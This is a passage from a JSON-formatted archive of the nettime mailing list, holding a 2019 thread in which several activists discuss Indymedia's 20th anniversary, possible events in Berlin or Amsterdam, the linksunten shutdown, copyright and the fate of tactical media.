                        "to": "Felix Stalder <felix {AT} openflows.com>",
                        "message-id": "C234517A&#45;1F68&#45;4856&#45;B0CD&#45;315652B8CBBF {AT} new&#45;tactical&#45;research.co.uk",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00022.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    }
                ],
                "message-id": "3a6d6965f94b48f7c279f346ea7305b0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Fri, 7 Jul 2017 08:50:20 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00038",
                "content": "hello N-time, \n\nThis November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n\nApril Glaser writes a good short history of the pioneering\nnetwork/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\nprobably many more things that need to be analyzed in the history of the\nInternet and digital culture to understand and assess whether \u201cAnother\nNetwork Is Possible\u201c\u2026 and where + how tactical media can unite\ncommunities tomorrow\u2026\n\nhttps://logicmag.io/bodies/another-network-is-possible/\n\n...\n\nXLterrestrials are working on an expanded post about ALL that\u2026\n\nhttp://xlterrestrials.org/plog/?p=19424\n\nexcerpt from Part 1: Where are we now ?\n\n>\n\n( that haunting + sad final-years-Bowie tune is playing back in our\nheads as we write\u2026 )\n\nThis is an extremely complicated discussion, and it will take more than\na short essay to sort through all the angles and dilemmas we find\nourselves soaking in with the cybernetic technodystopias +\ntechnospherical spectrum +/or rectal probes of the military/corporate\ncommunication industries, now oozing ubiquitous through all the tissues\nand orifices of human + social organization like electro-shock +\ndoctrines + disruption therapies to cure our inherited\nalready-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\ntake this, it\u2019s another anthropo-scenic downloading spiral into\nStephen-Pinker-esque \"tech-n-progress\u201d Inc.\n\n>\n\n...\n\nOn a tangent note, it would be nice to put on some Indy-inspired type\ntactical media event...\n\nperhaps in the Btropolis ( Berlin ) for this anniversary date...\n\nAny ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n\nThere is already something planned in Houston hosted by IMC folks there\n( at Rice U. ?) ...\n\nbut nothing in the EU territories yet, as far as we know... and WHY\nBtropolis?\n\nOne of its IMC sites is still active,\n\nand its more radical sibling offshoot, got the crackdown + kicked off\nthe webz 2 years ago. ( Linksunten )...\n\nAnd there's been heated discussions here about WHAT'S NEXT !!\n\n...\n\nliebegreetz !\n\npodinski\n\n\n0~~~~O-----o\nwww.xlterrestrials.org/plog \u2028\n arts + praxis organisms\no-----O~~~~~0\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                "to": "nettime-l@mail.kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00038.html",
                "list": "nettime_l",
                "author_name": "podinski",
                "subject": "<nettime> 20 years of Indymedia: Where are we now ?!",
                "from": "podinski <podinski@mailbox.org>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "tacira@riseup.net",
                                        "content": "hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n\nas for a long time user and educator on free technologies for creative\nmedia production I was a bit skeptical on the article -  we dont need to\ncreate one more leftist tool, but re-ocuppy with purpose and love all\ncollective maintained tools - perhaps more influenced by intersectional\npoltics (I am reading Ocalan :) but the networkS are alive, dormant\nbecause NOT dispersed and very much re-creating itself all the time.\nfree philosophy and ethics becomes just more urgent then ever! As Krenak\nan indigenous leader in brazil says we have been using \"colored\nparachutes\" in this fall \"being able to maintain our subjectivities, our\nvisions, our poetics about existence\". \n\nwe are in shock with the fire but its from the ashes that we create! \n\nhere a recent ongoing work from the brazilian cyberfeminists\nhttps://midiatatica.desarquivo.org/ tactical archives from the last\ndecade by collective perspectives. \n\nbest for all!\nt\n\n\nEm 2019-09-10 08:19, podinski escreveu:\n> Hi Ingrid et al, \n> \n>  hmm, a little shocked that so few want to discuss the indymedia\n> platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled\n> (un-)solidarities... \n> \n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n> \n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very\n>> much alive! I haven't been involved for many years now, but perhaps\n>> we could do something in Amsterdam, or barring that something in\n>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>> involved somehow too!\n>  sorry for slow reply... \n> things have been a little overloaded... \n> \n> good to hear that NL ((i)) is still kicking... i believe there are\n> several still out there providing useful public channels ( as\n> mentioned in the article, ie. Argentina ) !\n> \n> Not quite sure how to proceed with any concrete event plans for\n> Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to\n> be involved...\n> \n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n> \n> but one always has to wonder just how far out of touch the\n> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n> \n> my cynical 2cent bits for the day...\n> \n> podinski\n> \n>> Cheers, Ingrid.\n>>\n>> -------------------------\n>>\n>> From: nettime-l-bounces@mail.kein.org\n>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>> <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time,\n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>> there\u2019s\n>> probably many more things that need to be analyzed in the history of\n>> the\n>> Internet and digital culture to understand and assess whether\n>> \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>>>\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more\n>> than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the\n>> military/corporate\n>> communication industries, now oozing ubiquitous through all the\n>> tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>> Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>>>\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired\n>> type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>> touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks\n>> there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked\n>> off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog [1] \u2028\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n>  \n> \n> Links:\n> ------\n> [1] http://www.xlterrestrials.org/plog\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00049",
                                        "date": "Wed, 11 Sep 2019 05:38:06 -0700",
                                        "to": "podinski <podinski@mailbox.org>",
                                        "message-id": "dd040be8c1c3fa9b3d539f1881a529fa@riseup.net",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00049.html",
                                        "content-type": "text/plai",
                                        "author_name": "tacira",
                                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                                    },
                                    {
                                        "from": "podinski <podinski@mailbox.org>",
                                        "content": "Hi Tati et al,\n\na pleasure to read some news from ya...\n\n+ thx for the link !\n\n...\n\nOn 9/11/19 2:38 PM, tacira@riseup.net wrote:\n> hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n>\n> as for a long time user and educator on free technologies for creative\n> media production I was a bit skeptical on the article -  we dont need to\n> create one more leftist tool, but re-ocuppy with purpose and love all\n> collective maintained tools - perhaps more influenced by intersectional\n> poltics (I am reading Ocalan :) but the networkS are alive, dormant\n> because NOT dispersed and very much re-creating itself all the time.\n> free philosophy and ethics becomes just more urgent then ever! As Krenak\n> an indigenous leader in brazil says we have been using \"colored\n> parachutes\" in this fall \"being able to maintain our subjectivities, our\n> visions, our poetics about existence\". \nyes, well it is not hard for me to be critical about More leftist tools...\nwe are getting very lost - and abused - in all the tooling around.\n\nAnd i think the article may point out clearly towards HOW we lost one\npossible road that the net could have taken to network our communities,\nsolidarities and resistance... \n\nI probably dont need to go into the details here of how that all got\nco-opted and used in the creepiest of ways to consolidate power and turn\nus all into its subjects and products.  ( Neo-liberal + libertarian\nnetz, surveillance krapitalism and all that mess )\n\nIF the net can be reclaimed at all from the monstrous sprawl of\nill-intents...\nit would probably require new architectures that cannot be easily\nswallowed up by the Titans' toxic web.\n\nAs Rasmus Fleischer pointedly remarked at one of the recent\nTransmediales : this is what a failed rev looks like.\n\nI don't have any clear proposals for that, but that could be part of\nwhat would make sense with this ((i)) anniversary...\nto understand what we lost, and how we got where we are... and what\nrecourse makes sense now...\n\n...\n\nFrom an XLterrestrial perspective, it might be an important tactical\nmaneuver to get our feet back on the ground, locally...  and \"shield\nourselves\" from the fallout of having \"lost the digital revolution\" ...\nand get more focused on our biological + ecological struggles.\n\n...\n\nXLt is perhaps far more optimistic about what we can achieve by learning\nfrom the cultures of resistance in the global south... and outside all\nthe tech hype !\nAnd not allowing the domination of tech environments to be our\nsurrogated means to imagining any new re-occupying strategies.\n\n...\n\nJust read yesterday an interesting story about Food Sovereignty and in\n2011 Russia... 40% of the food came from Dacha gardens... \n\n\"dacha gardens produced over 80% of the countries fruit and berries,\nover 66% of the vegetables, almost 80% of the potatoes and nearly 50% of\nthe nations milk, much of it consumed raw. \"\n\nhttp://naturalhomes.org/naturalliving/russian-dacha.htm?fbclid=IwAR1ia40bjy-j6-1H8DnGejakGBeg0Gn1VqED6sjk5A6sN8KOGg35hyn7pkE\n\nhavent checked out the accuracy of this, but the shift in topics +\norganizational objectives...  seems very revelant !\n\n...\n\nJust last year Chaos Congress teamed up with FifF and others to put on a\nconference called Bits Und Baume ( and trees ) to finally take seriously\nthe ecological consequences of the poorly miscalculated unsustainability\nof all our endlessly expanding high tech cultures.\n\nIt only took 35 years for CCC to get around to this crucial topic... ;)\n... but i think some good things are coming together for further\ninvestigations into realistic terrestrial-based missions ... and less in\n\"hackers on the moon\".\n\nhttps://bits-und-baeume.org/en\n\n...\n\nLastly,\nto emphasize my points...\n\ni leave you all with this talk from Boaventura de Sousa Santos ...\nat HKW's Now is The Time Of Monsters : What comes after Nations... in\n2017...\n\n( which followed a talk from Felix Stadler on Protocols - and tech - for\nDemocracy? )\n\nAnd it might be a useful reminder to help put things into proper\nperspective and more productive debates...\nand more paying attention to what we don't necessarily see on our (Euro)\nscreens...\n\nthings that are working ... outside those corporate, futurist +\nindustrial hives !\n\nStaatstechnologien - Democracy | Boaventura de Sousa Santos\nhttps://www.hkw.de/de/app/mediathek/video/55789\n\n\"converting ruins into seeds\"\n\nand i love the last line...\n\n\"i want us to be competent rebels !\"\n\npodinski\n\n\n\n\n\n \n\n\n\n\n   \n\n\n>\n> we are in shock with the fire but its from the ashes that we create! \n>\n> here a recent ongoing work from the brazilian cyberfeminists\n> https://midiatatica.desarquivo.org/ tactical archives from the last\n> decade by collective perspectives. \n>\n> best for all!\n> t\n>\n>\n> Em 2019-09-10 08:19, podinski escreveu:\n>> Hi Ingrid et al, \n>>\n>>  hmm, a little shocked that so few want to discuss the indymedia\n>> platform topic... and what it means for today's struggles... \n>> but na ja, so it goes in the web flood of efficiently cubicled\n>> (un-)solidarities... \n>>\n>> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>>\n>>> Hello ex-((i)) and ex-N5M3 folks,\n>>>\n>>> Just like to point out that https://www.indymedia.nl/ is still very\n>>> much alive! I haven't been involved for many years now, but perhaps\n>>> we could do something in Amsterdam, or barring that something in\n>>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>>> involved somehow too!\n>>  sorry for slow reply... \n>> things have been a little overloaded... \n>>\n>> good to hear that NL ((i)) is still kicking... i believe there are\n>> several still out there providing useful public channels ( as\n>> mentioned in the article, ie. Argentina ) !\n>>\n>> Not quite sure how to proceed with any concrete event plans for\n>> Nov.... or beyond. \n>> but happy to hear that there are some comrades out there who want to\n>> be involved...\n>>\n>> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n>> https://2020.transmediale.de/festival-2020\n>>\n>> but one always has to wonder just how far out of touch the\n>> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n>> i will check in to see, if not already too late. \n>>\n>> my cynical 2cent bits for the day...\n>>\n>> podinski\n>>\n>>> Cheers, Ingrid.\n>>>\n>>> -------------------------\n>>>\n>>> From: nettime-l-bounces@mail.kein.org\n>>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>>> <podinski@mailbox.org>\n>>> Sent: 06 September 2019 15:42\n>>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>>\n>>> hello N-time,\n>>>\n>>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>>\n>>> April Glaser writes a good short history of the pioneering\n>>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>>> there\u2019s\n>>> probably many more things that need to be analyzed in the history of\n>>> the\n>>> Internet and digital culture to understand and assess whether\n>>> \u201cAnother\n>>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>>> communities tomorrow\u2026\n>>>\n>>> https://logicmag.io/bodies/another-network-is-possible/\n>>>\n>>> ...\n>>>\n>>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>>\n>>> http://xlterrestrials.org/plog/?p=19424\n>>>\n>>> excerpt from Part 1: Where are we now ?\n>>>\n>>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>>> heads as we write\u2026 )\n>>>\n>>> This is an extremely complicated discussion, and it will take more\n>>> than\n>>> a short essay to sort through all the angles and dilemmas we find\n>>> ourselves soaking in with the cybernetic technodystopias +\n>>> technospherical spectrum +/or rectal probes of the\n>>> military/corporate\n>>> communication industries, now oozing ubiquitous through all the\n>>> tissues\n>>> and orifices of human + social organization like electro-shock +\n>>> doctrines + disruption therapies to cure our inherited\n>>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>>> Here\n>>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>>\n>>> ...\n>>>\n>>> On a tangent note, it would be nice to put on some Indy-inspired\n>>> type\n>>> tactical media event...\n>>>\n>>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>>\n>>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>>> touch !\n>>>\n>>> There is already something planned in Houston hosted by IMC folks\n>>> there\n>>> ( at Rice U. ?) ...\n>>>\n>>> but nothing in the EU territories yet, as far as we know... and WHY\n>>> Btropolis?\n>>>\n>>> One of its IMC sites is still active,\n>>>\n>>> and its more radical sibling offshoot, got the crackdown + kicked\n>>> off\n>>> the webz 2 years ago. ( Linksunten )...\n>>>\n>>> And there's been heated discussions here about WHAT'S NEXT !!\n>>>\n>>> ...\n>>>\n>>> liebegreetz !\n>>>\n>>> podinski\n>>>\n>>> 0~~~~O-----o\n>>> www.xlterrestrials.org/plog [1] \u2028\n>>> arts + praxis organisms\n>>> o-----O~~~~~0\n>>>\n>>> #  distributed via <nettime>: no commercial use without permission\n>>> #  <nettime>  is a moderated mailing list for net criticism,\n>>> #  collaborative text filtering and cultural politics of the nets\n>>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>  \n>>\n>> Links:\n>> ------\n>> [1] http://www.xlterrestrials.org/plog\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00050",
                                        "date": "Wed, 11 Sep 2019 19:40:15 +0200",
                                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                        "message-id": "04c850bf&#45;988b&#45;7a06&#45;ea4f&#45;bed0c7dc9af8@mailbox.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00050.html",
                                        "content-type": "text/plai",
                                        "author_name": "podinski",
                                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                                    },
                                    {
                                        "from": "podinski <podinski@mailbox.org>",
                                        "content": "Hi Matze,\n\ni tried recently to follow and catch-up on the debacle of linksunten and\nstate censorship...\nand picked up the pamphlet :\nverboten ! zur Kriminalisierung von Indymedia linksunten\nvia Rote Hilfe e.v.\n\nbut havent yet had time to get thru it.\n\n...\n\nre: the issue of the liberated webs and copy left...\ni have begun to think that another unexpected + massive fallout has\noccurred with all this online free content falling into... the Titan\ngrip...\n\nand in the idealism of trying to \" common-ize\" and/or \"dismantle\ncapitalism\" on the net, but not in the AFK world... as the majority of\nus still live in the realms of landlord strangleholds...\n \nprotection of labor and the livelihoods of content producers and indy\npublishers + DIY distro merchants was not very well considered... in the\neco-systems of books, media, data, small business and shop owners... \nand people's having to make their money to survive... pay rent.... or\nrecoup their production budgets ( see Astra Taylor's The People's\nPlatform )...\n\nCopyright is a completely re-openable subject... of hot debate....\n\nwhich HKW is also being revisited again this year ( 100 Years Of\nCopyright and Part 2 : Right the Right...  this Nov. )\n... but i am not so hopeful they will handle the topic radically enough,\nbecause in the end they are already looking for tech solutionism to fill\nin the grim situations... ie blockchain in the music industry ?\n\nbut no time to get very sophisticated in that beastly and tedious topic.\n\n...\n\ncheers,\np.\n\n\n  \nOn 9/10/19 5:40 PM, Matze Schmidt wrote:\n> One more:\n>\n> Sebastian Luetgert in an interview mit textz.com (in German): \n> https://de.indymedia.org/2004/03/76975.shtml\n>\n> Am 10.09.2019 um 16:12 schrieb Matze Schmidt <matzeschmidt@matzeschmidt.de>:\n>\n> Hi,\n>\n> I remember when topics died. Esp. when Sebasian Luetgert 10?, 15? years ago was about sceptical talking about indymedia some years after the beginning of this platform. The radical pragmatists in Berlin sat there with a shrug.\n>\n> What's more important now is a struggle by a left against a state as a censor amidst the general new swing to the right, see here in German:\n>\n> https://twitter.com/zineworkshop/status/1161884759364198400?s=20\n>\n> Matze\n>\n> Am 10.09.2019 um 13:19 schrieb podinski <podinski@mailbox.org>:\n>\n> Hi Ingrid et al,\n>\n> hmm, a little shocked that so few want to discuss the indymedia platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled (un-)solidarities... \n>\n>\n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very much alive! I haven't been involved for many years now, but perhaps we could do something in Amsterdam, or barring that something in Berlin together with the Dutch ((i)) folks? I'd be happy to be involved somehow too!\n> sorry for slow reply... \n> things have been a little overloaded... \n>\n> good to hear that NL ((i)) is still kicking... i believe there are several still out there providing useful public channels ( as mentioned in the article, ie. Argentina ) !\n>\n> Not quite sure how to proceed with any concrete event plans for Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to be involved...\n>\n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n>\n> but one always has to wonder just how far out of touch the arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n>\n> my cynical 2cent bits for the day...\n>\n> podinski\n>\n>\n>\n>\n>\n>\n>\n>\n>> Cheers, Ingrid.\n>>\n>>\n>> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of podinski <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time, \n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\n>> probably many more things that need to be analyzed in the history of the\n>> Internet and digital culture to understand and assess whether \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the military/corporate\n>> communication industries, now oozing ubiquitous through all the tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog \n>>\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>>\n>>\n>>\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>\n>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00051",
                                        "date": "Wed, 11 Sep 2019 22:07:48 +0200",
                                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                        "message-id": "e57376de&#45;eed7&#45;c87b&#45;6434&#45;f039d6c4f9ea@mailbox.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00051.html",
                                        "content-type": "text/plai",
                                        "author_name": "podinski",
                                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                                    }
                                ],
                                "from": "podinski <podinski@mailbox.org>",
                                "content": "\n  \n  \n    Hi Ingrid et al,\n    \n    \n    hmm, a little shocked that so few want to discuss the indymedia\n    platform topic... and what it means for today's struggles... \n    but na ja, so it goes in the web flood of efficiently cubicled\n    (un-)solidarities... \n    \n    \n    On 9/7/19 10:05 AM, Hoofd, I.M.\n      (Ingrid) wrote:\n    \n    \n      \n      \n      \n        Hello ex-((i)) and ex-N5M3 folks,\n      \n        \n      \n      \n        Just like to point out that\n\nhttps://www.indymedia.nl/\n\nis\n        still very much alive! I haven't been involved for many years\n        now, but perhaps we could do something in Amsterdam, or barring\n        that something in Berlin together with the Dutch ((i)) folks?\n        I'd be happy to be involved somehow too!\n    \n    sorry for slow reply... \n    things have been a little overloaded... \n    \n    good to hear that NL ((i)) is still kicking... i believe there are\n    several still out there providing useful public channels ( as\n    mentioned in the article, ie. Argentina ) !\n    \n    Not quite sure how to proceed with any concrete event plans for\n    Nov.... or beyond. \n    but happy to hear that there are some comrades out there who want to\n    be involved...\n    \n    Should be a topic at Transmediale 2019 \"e2e\" network theme...\n    https://2020.transmediale.de/festival-2020\n    \n    but one always has to wonder just how far out of touch the\n    arts+cult+showtime sectors are with pragmatic activism + praxis ...\n    i will check in to see, if not already too late. \n    \n    my cynical 2cent bits for the day...\n    \n    podinski\n    \n    \n\n\n    \n    \n    \n    \n    \n    \n\n\n    \n      \n        \n      \n      \n        Cheers, Ingrid.\n      \n        \n      \n      \n        \n          \n        \n        \n        From:\n            nettime-l-bounces@mail.kein.org\n            <nettime-l-bounces@mail.kein.org> on behalf of\n            podinski <podinski@mailbox.org>\n            Sent: 06 September 2019 15:42\n            To: nettime-l@mail.kein.org\n            <nettime-l@mail.kein.org>\n            Subject: <nettime> 20 years of Indymedia: Where\n            are we now ?!\n          \n\n\n        \n        \n              hello N-time, \n                \n                This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old\n                !!\n                \n                April Glaser writes a good short history of the\n                pioneering\n                network/platform/newsfeed \u2026 for Logic Magazine ( here ).\n                But there\u2019s\n                probably many more things that need to be analyzed in\n                the history of the\n                Internet and digital culture to understand and assess\n                whether \u201cAnother\n                Network Is Possible\u201c\u2026 and where + how tactical media can\n                unite\n                communities tomorrow\u2026\n                \n                https://logicmag.io/bodies/another-network-is-possible/\n                \n                ...\n                \n                XLterrestrials are working on an expanded post about ALL\n                that\u2026\n                \n                http://xlterrestrials.org/plog/?p=19424\n                \n                excerpt from Part 1: Where are we now ?\n                \n                >\n                \n                ( that haunting + sad final-years-Bowie tune is playing\n                back in our\n                heads as we write\u2026 )\n                \n                This is an extremely complicated discussion, and it will\n                take more than\n                a short essay to sort through all the angles and\n                dilemmas we find\n                ourselves soaking in with the cybernetic technodystopias\n                +\n                technospherical spectrum +/or rectal probes of the\n                military/corporate\n                communication industries, now oozing ubiquitous through\n                all the tissues\n                and orifices of human + social organization like\n                electro-shock +\n                doctrines + disruption therapies to cure our inherited\n                already-anthropocene-driven madness\u2026 by accelerating it\n                \u2026 like: Here\n                take this, it\u2019s another anthropo-scenic downloading\n                spiral into\n                Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n                \n                >\n                \n                ...\n                \n                On a tangent note, it would be nice to put on some\n                Indy-inspired type\n                tactical media event...\n                \n                perhaps in the Btropolis ( Berlin ) for this anniversary\n                date...\n                \n                Any ((i)) and N5Minutes veterans wanna play with us on\n                that ? get in touch !\n                \n                There is already 